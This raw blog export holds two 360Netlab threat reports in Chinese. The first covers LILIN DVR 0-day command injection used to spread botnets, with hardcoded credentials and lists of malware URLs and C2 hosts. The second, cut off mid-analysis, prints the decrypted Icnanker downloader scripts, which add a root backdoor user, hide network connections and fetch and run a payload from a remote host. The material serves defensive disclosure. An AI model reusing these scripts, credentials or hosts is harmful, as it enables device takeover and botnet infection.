LILIN DHD208 IP Camera
* 2.0b60_20160504
LILIN DHD208A IP Camera
* 2.0b60_20160223
* 2.0b60_20161123
LILIN DHD216 IP Camera
* 2.0b60 20151111
LILIN DHD216A IP Camera
* 2.0b60_20160223
* 2.0b60_20161123
</code></pre>
<h3 id="">处置建议</h3>
<p>我们建议LILIN DVR用户及时检查并更新固件系统，同时给设备设置复杂的登录密码。</p>
<p>我们建议读者对相关IP，URL和域名进行监控和封锁。</p>
<h3 id="">联系我们</h3>
<p>感兴趣的读者，可以在 <a href="https://twitter.com/360Netlab"><strong>twitter</strong></a> 或者在微信公众号 <strong>360Netlab</strong> 上联系我们。</p>
<h3 id="ioclist">IoC list</h3>
<p>样本MD5</p>
<pre><code>0bf499baf3f0e623975a54225e9bd1a9
0d5193bdf74c87a14696f320d6808077
0f863f624da0d74094cb0f91cc226281
10ac26ef8571896efa3ee9495c0b71f5
164cc07fe71cd4db13133743e13612d8
20e8dd1fa2cc5e05ed2052c543f91ce1
21023609945be3f70459d30d1eec662e
267115637ef139b67007ee357c5397f6
3085b8f16c1ee686aa3bc3d1a91803f4
47e005e3136430452a0626b82f59ce15
4b87280c0b1b2b975c4f7412499400f2
502020b53b7bc053e0e3d8b85b5e7963
61a6ea1590c4f06a6966e944ebd4d81b
62d53eb2b05a3fa779ebca2d08b1d649
6a55850ea54668d98c32ffe954cd5d85
8bf81cdcfecead61b2531dcff597b133
9c9b1b98d9c7863df5905ff877767c55
a3b4868ec1671ffab6b509d62ea129ac
a6142ce837fd402ab9570ab58d46ad10
aa4561de55bdbd95702342b820910e0a
ad151215c9d7c02e6b75fe2e51f91f0b
d72ca8cd3e0e7b9f1f5dd62ca5113c8c
da3d3df2fa7d539899b27c64300807a2
e3f79edf54d590568791f77318ac0578
e95c363dc97ff58f5f22633517be6969
ee227f53a1c1e24edfa9f44c9c6a009f
f76b0363f016a0d4ec6124b844e10cff
feee13e2908e4e3d18104896d912fbf9
ffc20926598b277e509c7bf3465557eb
</code></pre>
<p>URL</p>
<pre><code>http://103.27.185.139/icatchplugin1
http://185.183.96.139/g
http://188.209.49.219/f
http://188.209.49.244/f
http://188.209.49.244/r
http://188.209.49.244/usa
http://190.115.18.37/f
http://45.10.90.89/j
http://45.10.90.89/z
http://46.166.151.200/w
http://74.91.115.209/w
http://82.223.101.182/f
http://82.223.101.182/k
</code></pre>
<p>C2</p>
<pre><code>lakusdvroa.com:8080 #Chalubo
45.10.90.89:61002 #FBot
wor.wordtheminer.com:8725 #Moobot
nlocalhost.wordtheminer.com:422 #Moobot_xor
nlocalhost.wordtheminer.com:9746 #Moobot_xor
</code></pre>
<p>IP</p>
<pre><code>45.10.90.89 Ukraine ASN48693 Rices Privately owned enterprise
46.166.151.200 Netherlands ASN43350 NForce Entertainment B.V.
74.91.115.209 United States ASN14586 Nuclearfallout Enterprises, Inc.
82.223.101.182 Spain ASN8560 1&1 Ionos Se
103.27.185.139 Japan ASN134835 Starry Network Limited
185.183.96.139 Netherlands ASN60117 Host Sailor Ltd.
188.209.49.219 Netherlands ASN49349 Dotsi, Unipessoal Lda.
188.209.49.244 Netherlands ASN49349 Dotsi, Unipessoal Lda.
190.115.18.37 Belize ASN262254 DANCOM LTD
</code></pre>
<!--kg-card-end: markdown--> | 本文作者：马延龙，涂凌鸣，叶根深，刘宏达
当我们研究Botnet时，我们一般看到的是攻击者通过N-day漏洞植入Bot程序。但慢慢的，我们看到一个新的趋势，一些攻击者开始更多地利用0-day漏洞发起攻击，利用手段也越发成熟。我们希望安全社区关注到这一现象，积极合作共同应对0-day漏洞攻击威胁。
背景介绍
从2019年8月30号开始，360Netlab未知威胁检测系统持续监测到多个攻击团伙使用LILIN DVR 0-day漏洞传播Chalubo[1]，FBot[2]，Moobot[3]僵尸网络。
在2020年1月19号，我们开始联系设备厂商LILIN。在2020年2月13号，厂商修复了该漏洞[4]，并发布了最新的固件程序2.0b60_20200207[5]。
漏洞分析
LILIN 0-day漏洞主要包括：硬编码登陆账号密码，/z/zbin/dvr_box命令注入漏洞和/z/zbin/net_html.cgi任意文件读取漏洞。其中/z/zbin/dvr_box对外提供Web服务，它的Web接口/dvr/cmd或/cn/cmd存在命令注入漏洞。我们观察到被注入的参数包括：NTPUpdate，FTP，NTP。
硬编码登陆账号密码列表:
root/icatch99
report/8Jg0SR8K50
默认账号密码：
admin/123456
NTPUpdate 注入漏洞分析
1. /z/zbin/dvr_box 程序中的dvr_serv::do_request()函数负责解析DVRPOST传入的XML配置，并调用相应的处理函数；
2. dvr_core::NTPUpdate()函数将Server字段传入到依赖库libutility.so中的UtilityBox::UtilityNtp::run()函数；
3. UtilityBox::UtilityNtp::run()函数根据Server字段值，拼接并执行ntp时间同步命令；
4. 由于以上过程缺乏对Server字段的特殊字符的过滤，导致命令注入。
在2.0b60_20200207版本中，厂商在步骤3通过调用UtilityBox::Utility::ValidateHostName() 函数检验Server字段，修复了该漏洞。
FTP和NTP 注入漏洞分析
1. 通过硬编码登陆账号密码和/z/zbin/net_html.cgi程序中的任意文件读取漏洞[6]，获取设备配置文件信息/zconf/service.xml；
2. 修改/zconf/service.xml中的FTP或NTP参数的Server字段，注入后门命令；
3. 通过硬编码账号密码远程访问POST /dvr/cmd接口，使用SetConfiguration功能，传入修改后的XML实体，向目标设备写入配置文件；
4. 设备会定时同步FTP或NTP配置，触发命令执行。
值得注意的是，FTP或NTP配置的命令注入依赖于步骤1，2获取到的网络配置信息。如果直接执行步骤3，则可能会使设备断网。
在2.0b60_20200207版本中，厂商修复了步骤1中的任意文件读取漏洞，/z/zbin/dvr_box写入配置时会调用UtilityBox::Utility::ValidateHostName() 函数检验Server字段，修复了步骤3中的漏洞。
时间线
2019年8月30号，发现Chalubo通过LILIN 0-day NTPUpdate漏洞进行传播。
2020年1月11号，发现FBot通过LILIN 0-day FTP/NTP漏洞进行传播。
2020年1月19号，第一次联系厂商，没有得到回复。
2019年1月26号，发现Moobot通过LILIN 0-day FTP/NTP漏洞进行传播。
2020年2月10号，第二次联系厂商，得到回复。
2020年2月12号，向厂商提供了在野FTP和NTP漏洞PoC细节信息。
2020年2月14号，厂商回复我们已经修复该漏洞, 并发布最新的固件程序2.0b60_20200207。
受影响的固件列表
LILIN DHD516A
* 2.0b1_20191202 - JPEG C4 panels
* 2.0b1_20180828 - RTSP works
LILIN DHD508A
* 2.0b1_20180828 - RTSP works
LILIN DHD504A
* 2.0b1_20191202 - JPEG C4 panels
* 2.0b1_20190417 - JPEG C4 panels
LILIN DHD316A
* 2.0b1_20180828
* 2.0b1_20171128 C4 Panels
LILIN DHD308A
* 2.0b1_20180828
LILIN DHD304A
* 2.0b1_20180828
LILIN DHD204 IP Camera
* 1.06_20151201
LILIN DHD204A IP Camera
* 2.0b60_20160223
* 2.0b60_20161123
LILIN DHD208 IP Camera
* 2.0b60_20160504
LILIN DHD208A IP Camera
* 2.0b60_20160223
* 2.0b60_20161123
LILIN DHD216 IP Camera
* 2.0b60 20151111
LILIN DHD216A IP Camera
* 2.0b60_20160223
* 2.0b60_20161123
处置建议
我们建议LILIN DVR用户及时检查并更新固件系统，同时给设备设置复杂的登录密码。
我们建议读者对相关IP，URL和域名进行监控和封锁。
联系我们
感兴趣的读者，可以在 twitter 或者在微信公众号 360Netlab 上联系我们。
IoC list
样本MD5
0bf499baf3f0e623975a54225e9bd1a9
0d5193bdf74c87a14696f320d6808077
0f863f624da0d74094cb0f91cc226281
10ac26ef8571896efa3ee9495c0b71f5
164cc07fe71cd4db13133743e13612d8
20e8dd1fa2cc5e05ed2052c543f91ce1
21023609945be3f70459d30d1eec662e
267115637ef139b67007ee357c5397f6
3085b8f16c1ee686aa3bc3d1a91803f4
47e005e3136430452a0626b82f59ce15
4b87280c0b1b2b975c4f7412499400f2
502020b53b7bc053e0e3d8b85b5e7963
61a6ea1590c4f06a6966e944ebd4d81b
62d53eb2b05a3fa779ebca2d08b1d649
6a55850ea54668d98c32ffe954cd5d85
8bf81cdcfecead61b2531dcff597b133
9c9b1b98d9c7863df5905ff877767c55
a3b4868ec1671ffab6b509d62ea129ac
a6142ce837fd402ab9570ab58d46ad10
aa4561de55bdbd95702342b820910e0a
ad151215c9d7c02e6b75fe2e51f91f0b
d72ca8cd3e0e7b9f1f5dd62ca5113c8c
da3d3df2fa7d539899b27c64300807a2
e3f79edf54d590568791f77318ac0578
e95c363dc97ff58f5f22633517be6969
ee227f53a1c1e24edfa9f44c9c6a009f
f76b0363f016a0d4ec6124b844e10cff
feee13e2908e4e3d18104896d912fbf9
ffc20926598b277e509c7bf3465557eb
URL
http://103.27.185.139/icatchplugin1
http://185.183.96.139/g
http://188.209.49.219/f
http://188.209.49.244/f
http://188.209.49.244/r
http://188.209.49.244/usa
http://190.115.18.37/f
http://45.10.90.89/j
http://45.10.90.89/z
http://46.166.151.200/w
http://74.91.115.209/w
http://82.223.101.182/f
http://82.223.101.182/k
C2
lakusdvroa.com:8080 #Chalubo
45.10.90.89:61002 #FBot
wor.wordtheminer.com:8725 #Moobot
nlocalhost.wordtheminer.com:422 #Moobot_xor
nlocalhost.wordtheminer.com:9746 #Moobot_xor
IP
45.10.90.89 Ukraine ASN48693 Rices Privately owned enterprise
46.166.151.200 Netherlands ASN43350 NForce Entertainment B.V.
74.91.115.209 United States ASN14586 Nuclearfallout Enterprises, Inc.
82.223.101.182 Spain ASN8560 1&1 Ionos Se
103.27.185.139 Japan ASN134835 Starry Network Limited
185.183.96.139 Netherlands ASN60117 Host Sailor Ltd.
188.209.49.219 Netherlands ASN49349 Dotsi, Unipessoal Lda.
188.209.49.244 Netherlands ASN49349 Dotsi, Unipessoal Lda.
190.115.18.37 Belize ASN262254 DANCOM LTD
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"*本文作者：马延龙，涂凌鸣，叶根深，刘宏达*\n\n> 当我们研究Botnet时，我们一般看到的是攻击者通过N-day漏洞植入Bot程序。但慢慢的，我们看到一个新的趋势，一些攻击者开始更多地利用0-day漏洞发起攻击，利用手段也越发成熟。我们希望安全社区关注到这一现象，积极合作共同应对0-day漏洞攻击威胁。\n\n\n### 背景介绍\n从2019年8月30号开始，360Netlab未知威胁检测系统持续监测到多个攻击团伙使用LILIN DVR 0-day漏洞传播Chalubo[[1\\]](https://news.sophos.com/en-us/2018/10/22/chalubo-botnet-wants-to-ddos-from-your-server-or-iot-device/)，FBot[[2\\]](__GHOST_URL__/tag/fbot/)，Moobot[[3\\]](__GHOST_URL__/the-botnet-cluster-on-185-244-25-0-24-en/)僵尸网络。\n\n在2020年1月19号，我们开始联系设备厂商LILIN。在2020年2月13号，厂商修复了该漏洞[[4\\]](https://www.meritlilin.com/assets/uploads/support/file/M00158-TW.pdf)，并发布了最新的固件程序2.0b60_20200207[[5\\]](https://www.meritlilin.com/tw/support/file/type/Firmware)。\n\n\n### 漏洞分析\nLILIN 0-day漏洞主要包括：硬编码登陆账号密码，```/z/zbin/dvr_box```命令注入漏洞和```/z/zbin/net_html.cgi```任意文件读取漏洞。其中```/z/zbin/dvr_box```对外提供Web服务，它的Web接口```/dvr/cmd```或```/cn/cmd```存在命令注入漏洞。我们观察到被注入的参数包括：NTPUpdate，FTP，NTP。\n\n硬编码登陆账号密码列表:\n```\nroot/icatch99\nreport/8Jg0SR8K50\n```\n默认账号密码：\n```\nadmin/123456\n```\n#### NTPUpdate 注入漏洞分析\n1. ```/z/zbin/dvr_box``` 程序中的`dvr_serv::do_request()`函数负责解析```DVRPOST```传入的XML配置，并调用相应的处理函数；\n2. `dvr_core::NTPUpdate()`函数将Server字段传入到依赖库libutility.so中的`UtilityBox::UtilityNtp::run()`函数；\n3. `UtilityBox::UtilityNtp::run()`函数根据Server字段值，拼接并执行ntp时间同步命令；\n4. 由于以上过程缺乏对Server字段的特殊字符的过滤，导致命令注入。\n\n在2.0b60_20200207版本中，厂商在步骤3通过调用`UtilityBox::Utility::ValidateHostName() `函数检验Server字段，修复了该漏洞。\n<a href=\"__GHOST_URL__/content/images/2020/03/NTPUpdate.png\"><img src=\"__GHOST_URL__/content/images/2020/03/NTPUpdate.png\" class=\"kg-image\"/></a>\n\n\n#### FTP和NTP 注入漏洞分析\n1. 通过硬编码登陆账号密码和`/z/zbin/net_html.cgi`程序中的任意文件读取漏洞[[6\\]](https://icatch99.blogspot.com/2019/11/icatch-dvr.html)，获取设备配置文件信息```/zconf/service.xml```；\n2. 修改```/zconf/service.xml```中的FTP或NTP参数的Server字段，注入后门命令；\n3. 通过硬编码账号密码远程访问```POST /dvr/cmd```接口，使用`SetConfiguration`功能，传入修改后的XML实体，向目标设备写入配置文件；\n4. 设备会定时同步FTP或NTP配置，触发命令执行。\n\n值得注意的是，FTP或NTP配置的命令注入依赖于步骤1，2获取到的网络配置信息。如果直接执行步骤3，则可能会使设备断网。\n\n在2.0b60_20200207版本中，厂商修复了步骤1中的任意文件读取漏洞，```/z/zbin/dvr_box```写入配置时会调用`UtilityBox::Utility::ValidateHostName() `函数检验Server字段，修复了步骤3中的漏洞。\n<a href=\"__GHOST_URL__/content/images/2020/03/NTP-FTP.png\"><img src=\"__GHOST_URL__/content/images/2020/03/NTP-FTP.png\" class=\"kg-image\"/></a>\n\n### 时间线\n```\n2019年8月30号，发现Chalubo通过LILIN 0-day NTPUpdate漏洞进行传播。\n2020年1月11号，发现FBot通过LILIN 0-day FTP/NTP漏洞进行传播。\n2020年1月19号，第一次联系厂商，没有得到回复。\n2019年1月26号，发现Moobot通过LILIN 0-day FTP/NTP漏洞进行传播。\n2020年2月10号，第二次联系厂商，得到回复。\n2020年2月12号，向厂商提供了在野FTP和NTP漏洞PoC细节信息。\n2020年2月14号，厂商回复我们已经修复该漏洞, 并发布最新的固件程序2.0b60_20200207。\n```\n\n### 受影响的固件列表\n```\nLILIN DHD516A\n* 2.0b1_20191202 - JPEG C4 panels\n* 2.0b1_20180828 - RTSP works\n \nLILIN DHD508A\n* 2.0b1_20180828 - RTSP works\n \nLILIN DHD504A\n* 2.0b1_20191202 - JPEG C4 panels\n* 2.0b1_20190417 - JPEG C4 panels\n \nLILIN DHD316A\n* 2.0b1_20180828\n* 2.0b1_20171128 C4 Panels\n \nLILIN DHD308A\n* 2.0b1_20180828\n \nLILIN DHD304A\n* 2.0b1_20180828\n \nLILIN DHD204 IP Camera\n* 1.06_20151201\n \nLILIN DHD204A IP Camera\n* 2.0b60_20160223\n* 2.0b60_20161123\n \nLILIN DHD208 IP Camera\n* 2.0b60_20160504\n \nLILIN DHD208A IP Camera\n* 2.0b60_20160223\n* 2.0b60_20161123\n \nLILIN DHD216 IP Camera\n* 2.0b60 20151111\n\nLILIN DHD216A IP Camera\n* 2.0b60_20160223\n* 2.0b60_20161123\n```\n\n### 处置建议\n我们建议LILIN DVR用户及时检查并更新固件系统，同时给设备设置复杂的登录密码。\n\n我们建议读者对相关IP，URL和域名进行监控和封锁。\n\n### 联系我们\n感兴趣的读者，可以在 [**twitter**](https://twitter.com/360Netlab) 或者在微信公众号 **360Netlab** 上联系我们。\n\n\n### IoC list\n\n样本MD5\n```\n0bf499baf3f0e623975a54225e9bd1a9\n0d5193bdf74c87a14696f320d6808077\n0f863f624da0d74094cb0f91cc226281\n10ac26ef8571896efa3ee9495c0b71f5\n164cc07fe71cd4db13133743e13612d8\n20e8dd1fa2cc5e05ed2052c543f91ce1\n21023609945be3f70459d30d1eec662e\n267115637ef139b67007ee357c5397f6\n3085b8f16c1ee686aa3bc3d1a91803f4\n47e005e3136430452a0626b82f59ce15\n4b87280c0b1b2b975c4f7412499400f2\n502020b53b7bc053e0e3d8b85b5e7963\n61a6ea1590c4f06a6966e944ebd4d81b\n62d53eb2b05a3fa779ebca2d08b1d649\n6a55850ea54668d98c32ffe954cd5d85\n8bf81cdcfecead61b2531dcff597b133\n9c9b1b98d9c7863df5905ff877767c55\na3b4868ec1671ffab6b509d62ea129ac\na6142ce837fd402ab9570ab58d46ad10\naa4561de55bdbd95702342b820910e0a\nad151215c9d7c02e6b75fe2e51f91f0b\nd72ca8cd3e0e7b9f1f5dd62ca5113c8c\nda3d3df2fa7d539899b27c64300807a2\ne3f79edf54d590568791f77318ac0578\ne95c363dc97ff58f5f22633517be6969\nee227f53a1c1e24edfa9f44c9c6a009f\nf76b0363f016a0d4ec6124b844e10cff\nfeee13e2908e4e3d18104896d912fbf9\nffc20926598b277e509c7bf3465557eb\n```\n\nURL\n```\nhttp://103.27.185.139/icatchplugin1\nhttp://185.183.96.139/g\nhttp://188.209.49.219/f\nhttp://188.209.49.244/f\nhttp://188.209.49.244/r\nhttp://188.209.49.244/usa\nhttp://190.115.18.37/f\nhttp://45.10.90.89/j\nhttp://45.10.90.89/z\nhttp://46.166.151.200/w\nhttp://74.91.115.209/w\nhttp://82.223.101.182/f\nhttp://82.223.101.182/k\n```\n\nC2\n```\nlakusdvroa.com:8080 #Chalubo\n45.10.90.89:61002 #FBot\nwor.wordtheminer.com:8725 #Moobot\nnlocalhost.wordtheminer.com:422 #Moobot_xor\nnlocalhost.wordtheminer.com:9746 #Moobot_xor\n```\n\nIP\n```\n45.10.90.89 \tUkraine \tASN48693 \tRices Privately owned enterprise\n46.166.151.200 \tNetherlands \tASN43350 \tNForce Entertainment B.V.\n74.91.115.209 \tUnited States \tASN14586 \tNuclearfallout Enterprises, Inc.\n82.223.101.182 \tSpain \tASN8560 \t1&1 Ionos Se \n103.27.185.139 \tJapan \tASN134835 \tStarry Network Limited\n185.183.96.139 \tNetherlands \tASN60117 \tHost Sailor Ltd. \n188.209.49.219 \tNetherlands \tASN49349 \tDotsi, Unipessoal Lda.\n188.209.49.244 \tNetherlands \tASN49349 \tDotsi, Unipessoal Lda.\n190.115.18.37 \tBelize \tASN262254 \tDANCOM LTD \n```"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 5e735d757646030007b2653e |
post | null | 2020-03-20T06:30:46.000Z | 63873b9a8b1c1e0007f52f65 | icnanker-trojan-downloader | 0 | 2020-03-23T07:40:04.000Z | public | published | null | 2020-03-23T05:31:17.000Z | Icnanker, 一个使用了SHC技术的木马下载器 | <!--kg-card-begin: markdown--><h2 id="">背景介绍</h2>
<p>2019年8月15日，360Netlab恶意流量检测系统发现一个通过SSH传播的未知ELF样本(5790dedae465994d179c63782e51bac1)产生了Elknot Botnet的相关网络流量，经分析这是一个使用了"SHC(Shell script compiler)"技术的Trojan-Downloader，作者是老牌玩家icnanker。icnanker其人于2015年被网络曝光，擅长脚本编程，性格高调，喜欢在脚本中留下名字，QQ等印记。<br>
此次攻击，在我们看来没有太多的新颖性，因此并没有公开。<br>
2020年3月12日，友商IntezerLab将一变种(6abe83ee8481b5ce0894d837eabb41df)检测为<a href="https://twitter.com/IntezerLabs/status/1238090121624379392">Icnanker</a>。我们在看了这篇文档之后，觉得还是值得写一笔，因为IntezerLab漏了几个有意思的细节:</p>
<ul>
<li>SHC技术</li>
<li>Icananker的分类及其功能</li>
<li>Icananker分发的业务</li>
</ul>
<h2 id="">概览</h2>
<p>Icnanker是我们观察到的第一个使用<a href="https://github.com/neurobin/shc">SHC</a>技术的家族，针对Linux平台，其名字源于脚本中作者的标识“by icnanker”字串。<br>
目前Icnanker的样本按照功能可以分成2大类：</p>
<ul>
<li>Downloader<br>
Downloader用于DDos,Miner等业务，目前下载的业务样本有Elknot Botnet, Xor Botnet, XMRMiner等，在Icnanker相关的HFS服务器上我们可以看到下载量已达20000+，且以每天500+的速度增长。<br>
<a href="__GHOST_URL__/content/images/2020/03/shc_hfs-3.png"><img src="__GHOST_URL__/content/images/2020/03/shc_hfs-3.png" class="kg-image"/></a></li>
<li>Protector<br>
Protector用于保护样本不被删除，目前用于保护Miner。</li>
</ul>
<p>Downloader的主要功能如下：</p>
<ul>
<li>持久化</li>
<li>隐藏自身</li>
<li>删除系统命令</li>
<li>增加新用户</li>
<li>下载执行具体业务样本</li>
</ul>
<p>Protector的主要功能如下</p>
<ul>
<li>删除系统命令，保护自身不被删除</li>
</ul>
<h2 id="">逆向分析</h2>
<p>本文的选取的分析对象为以下2个样本，<br>
<mark>187fa428ed44f006df0c8232be4a6e4e</mark>为Miner的Protector，<br>
<mark>5790dedae465994d179c63782e51bac1</mark>为Elknot Botnet的Downloader。</p>
<blockquote>
<p>MD5:5790dedae465994d179c63782e51bac1</p>
<p>ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=8368ecf43c311327ed1b8e011f25b87ceef7f065, stripped</p>
<p>Packer: No</p>
<p><strong>Verdict:Malicious,Downloader</strong></p>
</blockquote>
<blockquote>
<p>187fa428ed44f006df0c8232be4a6e4e<br>
ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.24, stripped</p>
<p>Packer:No</p>
<p><strong>Verdict:Malicious,Protector</strong></p>
</blockquote>
<p>在Windows平台有将BAT脚本打包成可执行文件的技术，称之为Bat2Exe，与其相似的，在Linux平台，可以用过开源的"SHC(Shell script compiler)"技术将Shell脚本打包成可执行文件。SHC使用RC4算法加密原始脚本，其生成的ELF文件有非常明显的特征:RC4解密函数一共调用14次;同时还存在许多独特的字符串,安全研究员可以依此判断ELF是否为SHC生成。<br>
<a href="__GHOST_URL__/content/images/2020/03/shc_flag.png"><img src="__GHOST_URL__/content/images/2020/03/shc_flag.png" class="kg-image"/></a><br>
依前文所述，我们可以使用RC4算法手动的解出原始脚本，另一个选择是使用<a href="https://github.com/yanncam/UnSHc">UnSHc</a>直接解密出脚本</p>
<pre><code class="language-bash">[*] Extracting each args address and size for the 14 arc4() calls with address [0x8048f65]...
[0] Working with var address at offset [0x80ed087] (0x2a bytes)
[1] Working with var address at offset [0x80ed0df] (0x1 bytes)
...............
[12] Working with var address at offset [0x80f1280] (0x13 bytes)
[13] Working with var address at offset [0x80f12b1] (0x13 bytes)
[*] Extracting password...
[+] PWD address found : [0x80f12ed]
[+] PWD size found : [0x100]
[*] Executing [/tmp/kjGnQn] to decrypt [5790dedae465994d179c63782e51bac1]
[*] Retrieving initial source code in [5790dedae465994d179c63782e51bac1.sh]
[*] All done!
...............
[*] Executing [/tmp/GRsVsP] to decrypt [187fa428ed44f006df0c8232be4a6e4e]
[*] Retrieving initial source code in [187fa428ed44f006df0c8232be4a6e4e.sh]
[*] All done!
</code></pre>
<h3 id="protector187fa428ed44f006df0c8232be4a6e4esh">Protector(187fa428ed44f006df0c8232be4a6e4e.sh)</h3>
<pre><code>#!/bin/bash
cp -f /usr/bin/chattr /usr/bin/lockr
cp -f /usr/bin/chattr /usr/bin/.locks
cp -f /usr/bin/.locks /usr/bin/lockr
chmod 777 /usr/bin/lockr
chmod 777 /usr/bin/.locks
lockr +i /usr/bin/lockr >/dev/null 2>&1
lockr +i /usr/bin/.locks >/dev/null 2>&1
.locks -i /usr/bin/lockr;chmod 777 /usr/bin/lockr
lockr +i /usr/bin/lockr >/dev/null 2>&1
cp -f /usr/bin/lsattr /usr/bin/lockrc
cp -f /usr/bin/lsattr /usr/bin/.locksc
cp -f /usr/bin/.locksc /usr/bin/lockrc
chmod 777 /usr/bin/lockrc
chmod 777 /usr/bin/.locksc
lockr +i /usr/bin/lockrc >/dev/null 2>&1
lockr +i /usr/bin/.locksc >/dev/null 2>&1
.locks -i /usr/bin/lockrc;chmod 777 /usr/bin/lockrc
lockr +i /usr/bin/lockrc >/dev/null 2>&1
rm -rf /usr/bin/lsattr
rm -rf /usr/bin/chattr
lockr +a /var/spool/cron/crontabs/root
lockr +i /var/spool/cron/crontabs/root
lockr +a /var/spool/cron/root
lockr +i /var/spool/cron/root
lockr +i /usr/lib/.cache/
lockr +i /usr/lib/.cache
rm -f $0
</code></pre>
<p>在此脚本中我们可以清楚的看到系统命令chattr,lsattr被重命名，被删除，同时Miner所在的目录.cache被保护起来了，加上immutable属性防止被删除。</p>
<h3 id="downloader5790dedae465994d179c63782e51bac1sh">Downloader(5790dedae465994d179c63782e51bac1.sh)</h3>
<pre><code class="language-bash"> －－－－－－－－－－－－from 5790dedae465994d179c63782e51bac1.sh－－－－－－－－－－
...............
echo "byicnanker 2228668564" > $Config
tempfile=`cat $Config | awk '{print $1}'`
filetemp="/usr/bin/$tempfile" #现马的路径
filename=`date +%s%N | md5sum | head -c 10`
filepath="/usr/bin/$filename" #新马的路径
tempbash=`cat $Config | awk '{print $2}'`
bashtemp="/usr/bin/$tempbash" #现脚本路径
bashname=`date +%s%N | md5sum | head -c 10`
bashpath="/usr/bin/$bashname" #新脚本路径
...............
</code></pre>
<p>此脚本中有着典型的icnanker风格，我们可以清楚地看到icnanker标识，QQ，中文注释等。<br>
由于脚本是明文，不存在混淆，所以功能都是一目了然的，主要有5个功能。</p>
<ul>
<li>持久化，通过re.local实现自启动。</li>
</ul>
<pre><code> # by icnanker -----------------------------------------------
Repeatstart=`cat /etc/rc.local | grep 'start'| wc -l`
if [ $Repeatstart != 1 ];then
lockr -i /etc/rc.local;sed -i '/start/d' /etc/rc.local
fi
if [ -z "`cat /etc/rc.local | grep "$bashtemp"`" ]; then
if [ -z "`cat /etc/rc.local | grep "$exit0"`" ]; then
lockr -i /etc/;lockr -i /etc/rc.local
echo "$bashpath start" >> /etc/rc.local
else
lockr -i /etc/;lockr -i /etc/rc.local
sed -i "s|exit 0|$bashpath start|" /etc/rc.local
echo "exit 0">>/etc/rc.local
fi
fi
</code></pre>
<ul>
<li>隐藏自身,使得ss,ps,netstat等管理工具都无法探测到样本相关的进程，网络连接。</li>
</ul>
<pre><code>if [ -f /bin/ss ];then
if [ ! -f "$iss" ];then
if [ ! -f "$issbak" ];then
lockr -i /usr/bin/;mkdir /usr/bin/dpkgd/
cp -f /bin/ss $issbak
cp -f /bin/ss $iss
else
cp -f $issbak $iss
fi
chmod 777 $iss;chmod 777 $issbak
lockr +i $issbak >/dev/null 2>&1
lockr +i $iss >/dev/null 2>&1
else
if [ ! -f "$issbak" ];then
lockr -i /usr/bin/;cp -f $iss $issbak
lockr +i $issbak >/dev/null 2>&1
fi
if [ -z "`cat /bin/ss | grep $Address`" ]; then
lockr -i /bin/;lockr -i /bin/ss
echo '#!/bin/sh' > /bin/ss
echo 'iss|grep -v "'$Address'"' >> /bin/ss
echo 'exit' >> /bin/ss
chmod 777 /bin/ss;lockr +i /bin/ss >/dev/null 2>&1
fi
fi
fi
</code></pre>
<ul>
<li>删除系统指令,增加修复难度。</li>
</ul>
<pre><code>lockr -i /usr/bin/;
lockr -i /usr/bin/wget;
rm -f /usr/bin/wget;
lockr -i /usr/bin/chattr;
rm -f /usr/bin/chattr
</code></pre>
<ul>
<li>增加新用户(ntps),方便后续控制受害者机器</li>
</ul>
<pre><code> # by icnanker -----------------------------------------------
if [ -z "`cat /etc/passwd|grep "ntps"`" ]; then
lockr -i /etc/;lockr -i /etc/passwd #ntps
echo 'ntps:x:0:1:ntps:/root:/bin/bash' >> /etc/passwd
lockr -i /etc/;lockr +i /etc/passwd >/dev/null 2>&1
fi
if [ -z "`cat /etc/shadow|grep "ntps"`" ]; then
lockr -i /etc/;lockr -i /etc/shadow #tianyong
echo 'ntps:$6$J6RdL6Xh$udhpd5iErOxXyZSERCi0NOtoXE9J095xDRo4DJfCoTEsImcxype6iltDL8pTG7w/7Gbp9Ohrii9O.4NnxqG/h.:16583:0:99999:7:::' >> /etc/shadow
lockr -i /etc/;lockr +i /etc/shadow >/dev/null 2>&1
fi
</code></pre>
<ul>
<li>下载执行具体业务样本,此处为Elknot Botnet。</li>
</ul>
<pre><code> # by icnanker -----------------------------------------------
iptable=`iptables -L INPUT | grep "$Address" | grep 'ACCEPT'`
if [ -z "$iptable" ];then
iptables -I INPUT -s $Address -j ACCEPT
else
iptables -D INPUT -s $Address -j DROP
fi
process=`ips -ef | grep "$tempfile" | grep -v "grep" | wc -l`
if [ $process != 1 ];then
if [ ! -f "$filebak" ];then
lockr -i /usr/bin/;lockr -i /usr/bin/htrdpm;rm -f /usr/bin/htrdpm
cd /usr/bin/;dget http[://hfs.ubtv.xyz:22345/htrdpm
cd $path;mv -f /usr/bin/htrdpm $filepath
else
cp -f $filebak $filepath
fi
Runkillallconnect
chmod 777 $filepath
nohup $filepath >/dev/null 2>&1 &
fi
</code></pre>
<p>至此，Icnanker实现了开机自启动，能够持续控制受害者，拥有隐蔽性强，不易被检测，难修复等特点，同时Icnanker的配置也非常灵活，从一个业务迁移到另一个业务时，只需改变业务所要解析的网络地址及业务样本地址即可。<br>
以elknot VS miner为例</p>
<pre><code>elknot
ResolveIP=`nslookup [ddd.ubtv.xyz|grep "Address: "|awk '{print $2}'`
if [ -z "$ResolveIP" ];then
lockr -i /etc/;lockr -i /etc/resolv.conf
echo 'nameserver 114.114.114.114' > /etc/resolv.conf
echo 'nameserver 8.8.8.8' >> /etc/resolv.conf
echo 'nameserver 8.8.4.4' >> /etc/resolv.conf
lockr +i /etc/resolv.conf >/dev/null 2>&1
service network restart;sleep 1
Address=`nslookup ddd.ubtv.xyz|grep "Address: "|awk '{print $2}'`
else
Address="$ResolveIP"
fi
dget http[://hfs.ubtv.xyz:22345/htrdpm
-------------------------------------------VS----------------------------------------
miner
ResolveIP=`nslookup p[ool.supportxmr.com|grep "Address: "|awk '{print $2}'`
if [ -z "$ResolveIP" ];then
lockr -i /etc/;lockr -i /etc/resolv.conf
echo 'nameserver 114.114.114.114' > /etc/resolv.conf
echo 'nameserver 8.8.8.8' >> /etc/resolv.conf
echo 'nameserver 8.8.4.4' >> /etc/resolv.conf
lockr +i /etc/resolv.conf >/dev/null 2>&1
service network restart;sleep 1
Address=`nslookup p[ool.supportxmr.com|grep "Address: "|awk '{print $2}'`
else
Address="$ResolveIP"
fi
